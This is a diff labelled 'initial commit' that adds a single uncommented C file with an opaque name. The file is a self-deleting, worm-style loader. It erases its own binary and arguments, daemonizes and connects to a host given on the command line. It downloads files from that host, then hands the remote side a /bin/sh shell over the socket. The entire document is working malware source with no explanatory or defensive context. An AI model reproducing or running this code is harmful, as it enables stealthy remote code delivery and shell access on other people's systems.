initial commit

x8113550.c

@@ -0,0 +1,100 @@
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+
+main(argc, argv)
+char *argv[];
+{
+	struct sockaddr_in sin;
+	int s, i, magic, nfiles, j, len, n;
+	FILE *fp;
+	char files[20][128];
+	char buf[2048], *p;
+
+	unlink(argv[0]);
+	if(argc != 4)
+		exit(1);
+	for(i = 0; i < 32; i++)
+		close(i);
+	i = fork();
+	if(i < 0)
+		exit(1);
+	if(i > 0)
+		exit(0);
+
+	bzero(&sin, sizeof(sin));
+	sin.sin_family = AF_INET;
+	sin.sin_addr.s_addr = inet_addr(argv[1]);
+	sin.sin_port = htons(atoi(argv[2]));
+	magic = htonl(atoi(argv[3]));
+
+	for(i = 0; i < argc; i++)
+		for(j = 0; argv[i][j]; j++)
+			argv[i][j] = '\0';
+
+	s = socket(AF_INET, SOCK_STREAM, 0);
+	if(connect(s, &sin, sizeof(sin)) < 0){
+		perror("l1 connect");
+		exit(1);
+	}
+	dup2(s, 1);
+	dup2(s, 2);
+
+	write(s, &magic, 4);
+
+	nfiles = 0;
+	while(1){
+		if(xread(s, &len, 4) != 4)
+			goto bad;
+		len = ntohl(len);
+		if(len == -1)
+			break;
+
+		if(xread(s, &(files[nfiles][0]), 128) != 128)
+			goto bad;
+
+		unlink(files[nfiles]);
+		fp = fopen(files[nfiles], "w");
+		if(fp == 0)
+			goto bad;
+		nfiles++;
+
+		while(len > 0){
+			n = sizeof(buf);
+			if(n > len)
+				n = len;
+			n = read(s, buf, n);
+			if(n <= 0)
+				goto bad;
+			if(fwrite(buf, 1, n, fp) != n)
+				goto bad;
+			len -= n;
+		}
+		fclose(fp);
+	}
+
+	execl("/bin/sh", "sh", 0);
+bad:
+	for(i = 0; i < nfiles; i++)
+		unlink(files[i]);
+	exit(1);
+}
+
+static
+xread(fd, buf, n)
+char *buf;
+{
+	int cc, n1;
+
+	n1 = 0;
+	while(n1 < n){
+		cc = read(fd, buf, n - n1);
+		if(cc <= 0)
+			return(cc);
+		buf += cc;
+		n1 += cc;
+	}
+	return(n1);
+}
+int zz;